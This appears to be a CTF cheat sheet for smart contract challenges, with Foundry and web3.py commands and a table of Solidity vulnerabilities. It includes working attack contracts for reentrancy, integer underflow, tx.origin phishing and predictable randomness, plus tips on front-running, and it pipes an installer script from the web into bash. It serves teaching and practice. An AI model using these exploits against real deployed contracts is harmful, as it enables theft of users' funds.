# Most CTF blockchain challenges provide: # - RPC endpoint (e.g. http://host:port) # - Deployed contract address # - Private key (funded test account) # - Challenge contract source # Install foundry (cast + forge + anvil) curl -L https://foundry.paradigm.xyz | bash foundryup # Quick cast interaction cast call <contract> "isSolved()(bool)" \ --rpc-url http://host:port # Send transaction cast send <contract> "solve()" \ --private-key <key> --rpc-url http://host:port
from web3 import Web3 w3 = Web3(Web3.HTTPProvider('http://host:port')) account = w3.eth.account.from_key('0xprivkey') contract = w3.eth.contract( address='0xcontract...', abi=abi_json ) # Read state result = contract.functions.isSolved().call() # Send transaction tx = contract.functions.solve().build_transaction({ 'from': account.address, 'nonce': w3.eth.get_transaction_count(account.address), 'gas': 200000, }) signed = account.sign_transaction(tx) w3.eth.send_raw_transaction(signed.rawTransaction)
# Get ABI / source cast etherscan-source <addr> # if on mainnet # Read public variables cast call <addr> "owner()(address)" cast call <addr> "balanceOf(address)(uint256)" <user> # Read raw storage slot cast storage <addr> 0 # slot 0 cast storage <addr> 1 # slot 1 # Get balance cast balance <addr> --rpc-url http://host:port # Decode calldata cast 4byte-decode <calldata> cast calldata-decode "func(uint256)" <calldata> # Transaction history cast tx <txhash> cast receipt <txhash>
# Solidity storage slots (256-bit each) # Slot 0: first state var # Slot 1: second state var # Mappings: slot = keccak256(key . base_slot) # Arrays: slot = keccak256(base_slot) + index # Calculate mapping slot in Python python3 -c " from web3 import Web3 key = Web3.to_bytes(hexstr='0x' + '0'*62 + 'addr_padded') slot = Web3.to_bytes(0) # base slot = 0 loc = Web3.solidity_keccak(['bytes32','bytes32'], [key, slot]) print(loc.hex()) " # Private variables are NOT secret # Everything on-chain is readable cast storage <contract> <slot> --rpc-url http://host
| Vulnerability | Pattern to look for | Impact |
|---|---|---|
| Reentrancy | External call before state update | Drain funds, infinite loops critical |
| Integer overflow | Solidity < 0.8.0, no SafeMath, unchecked{} | Wrap to 0 / max uint critical |
| tx.origin auth | require(tx.origin == owner) | Bypass via intermediate contract |
| Weak randomness | block.timestamp, blockhash, block.number | Predict "random" values |
| Delegatecall | delegatecall to attacker-controlled address | Take over storage/ownership |
| Private data | password stored in private variable | Read raw storage slot |
| Selfdestruct | Force send ETH to any contract | Break balance assumptions |
| Flash loan | Price oracle manipulation in same tx | Drain pools |
| Access control | Missing onlyOwner, public init function | Unauthorized ownership |
| Front-running | Commit-reveal missing, predictable mempool | MEV / steal prizes |
// Vulnerable pattern: function withdraw(uint amount) public { require(balances[msg.sender] >= amount); (bool ok,) = msg.sender.call{value: amount}(""); balances[msg.sender] -= amount; // update AFTER call! } // Attack contract contract Attack { Victim victim; constructor(address _v) { victim = Victim(_v); } function attack() external payable { victim.deposit{value: 1 ether}(); victim.withdraw(1 ether); } receive() external payable { // Called when ETH arrives — re-enter! if (address(victim).balance >= 1 ether) { victim.withdraw(1 ether); } } }
# Write Attack.sol, then: forge create Attack \ --constructor-args <victim_addr> \ --private-key <key> \ --rpc-url http://host:port # Call attack function cast send <attack_addr> "attack()" \ --value 1ether \ --private-key <key> \ --rpc-url http://host:port # Or use cast send for simple cases cast send <victim> "withdraw(uint256)" 1000000000000000000 \ --private-key <key> --rpc-url http://host:port
// uint8 max = 255 → 255 + 1 = 0 (wraps) // uint256 max → +1 = 0 // 0 - 1 = 2^256 - 1 (underflow) // Classic: balances underflow mapping(address=>uint) public balances; function transfer(address to, uint amt) public { balances[msg.sender] -= amt; // underflow if amt > balance! balances[to] += amt; } // Call transfer(self, 1) with 0 balance → balance wraps to 2^256-1 // Solidity >= 0.8.0: auto-reverts on overflow // Bypass with unchecked{}: unchecked { x -= 1; }
# Cast call to trigger underflow cast send <contract> \ "transfer(address,uint256)" \ <my_addr> 1 \ --private-key <key> --rpc-url http://host # Verify new balance (should be huge) cast call <contract> \ "balanceOf(address)(uint256)" <my_addr> # Python: calculate overflow value python3 -c "print(2**256 - 1)" python3 -c "print(2**256 - 100)" # underflow by 100
// Vulnerable: uses tx.origin instead of msg.sender function withdraw() public { require(tx.origin == owner); payable(msg.sender).transfer(address(this).balance); } // Attack: trick owner into calling YOUR contract // Your contract calls victim.withdraw() // tx.origin = owner (they signed), msg.sender = your contract contract TxOriginAttack { Victim victim; function phish() external { // Owner calls this → tx.origin = owner victim.withdraw(); } }
// Unprotected ownership: function initOwner(address _owner) public { owner = _owner; // no require! callable by anyone } // → call initOwner(my_address) // Proxy pattern: uninitialized implementation // Call initialize() on implementation contract directly cast send <impl_addr> "initialize(address)" <my_addr> \ --private-key <key> --rpc-url http://host // Delegatecall: storage collision // If slot 0 is owner in proxy AND slot 0 is other var in impl // → write impl slot 0 via delegatecall → overwrites proxy owner
// Predictable sources (all public on chain): uint rand = uint(keccak256(abi.encodePacked( block.timestamp, // known block.number, // known blockhash(block.number - 1) // known ))) % 10; // Replicate in attack contract (same block = same values) contract PredictAttack { Target target; function attack() external { uint guess = uint(keccak256(abi.encodePacked( block.timestamp, block.number, blockhash(block.number - 1) ))) % 10; target.guess(guess); // always correct } }
// Commit-reveal: reveal before deadline? // Check: is commit stored on-chain? cast storage <contract> <slot> # read commitment // Chainlink VRF: not bypassable (true randomness) // But: check if requestId is predictable // Check: does contract accept direct VRF fulfillment? # Front-running lottery: # Monitor mempool → see winning tx → submit same answer # with higher gas price → your tx mines first # Tools for mempool sniping: # flashbots, bloXroute
# All storage is public — read with cast storage cast storage <addr> 0 # slot 0 (owner typically) cast storage <addr> 1 # slot 1 (password?) cast storage <addr> 2 # slot 2... # Convert hex bytes32 → string python3 -c "print(bytes.fromhex('deadbeef...').decode(errors='replace'))" # Calculate mapping slot python3 -c " from eth_abi.packed import encode_packed from web3 import Web3 key = '0x' + '0'*24 + 'your_addr_no_0x' slot = 0 h = Web3.solidity_keccak(['address','uint256'], [key, slot]) print(h.hex()) " cast storage <addr> <slot_hex>
| Tool | Use |
|---|---|
| cast (foundry) | CLI: call, send, storage read, decode essential |
| forge (foundry) | Compile, test, deploy contracts |
| anvil (foundry) | Local EVM node for testing |
| Remix IDE | Browser Solidity IDE + debugger |
| Etherscan | Source, ABI, tx history (mainnet) |
| web3.py | Python ETH interaction |
| ethers.js | JS ETH interaction |
| Slither | Static analysis for Solidity |
| Echidna | Fuzzing for Solidity |
| Mythril | Symbolic execution / vuln scanner |
// test/Exploit.t.sol pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "../src/Challenge.sol"; contract ExploitTest is Test { Challenge challenge; function setUp() public { challenge = new Challenge(); } function test_exploit() public { // Your exploit here vm.deal(address(this), 1 ether); challenge.attack{value: 1 ether}(); assertTrue(challenge.isSolved()); } } # Run test forge test -vvvv # -vvvv = max verbosity (shows traces)
cast storage <addr> 0,1,2... — read all slots (nothing is private)
③ Solidity version < 0.8.0 → check arithmetic for overflow/underflow
④ tx.origin == owner → bypass with intermediate contract
⑤ block.timestamp / blockhash randomness → predict in attack contract
⑥ >Public/missing modifier on init → call it yourself
⑦ forge test -vvvv to prototype exploit locally before deploying